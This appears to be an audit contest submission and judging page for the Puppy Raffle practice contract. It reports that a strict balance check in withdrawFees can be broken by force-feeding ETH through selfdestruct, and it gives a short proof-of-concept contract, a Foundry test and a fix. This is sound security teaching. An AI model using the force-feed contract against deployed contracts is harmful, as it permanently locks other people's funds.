Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

`withdrawFees` strict balance equality can be permanently DoS'd by force-feeding ETH via `selfdestruct`

Root + Impact

Description

  • The fee address should always be able to withdraw accrued fees.

  • withdrawFees requires the contract balance to exactly equal totalFees. Anyone can increase the balance out-of-band (selfdestruct forces ETH in with no payable entry point), making the equality false forever.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
...
}

Risk

Likelihood:

  • Occurs as soon as any address selfdestructs a tiny amount of wei to the contract (or pre-funds its address before deployment) — cheap and permanent.

Impact:

  • withdrawFees reverts forever; all protocol fees are locked (funds-availability DoS).

Proof of Concept

contract ForceFeed {
constructor(address target) payable { selfdestruct(payable(target)); }
}
// new ForceFeed{value: 1}(address(puppyRaffle));
// now address(puppyRaffle).balance != totalFees -> withdrawFees() always reverts

Recommended Mitigation

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ uint256 feesToWithdraw = totalFees;
+ totalFees = 0;
+ (bool success,) = feeAddress.call{value: feesToWithdraw}("");
+ require(success, "PuppyRaffle: Failed to withdraw fees");

(Withdraw based on the tracked totalFees, never on a strict balance == check.)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!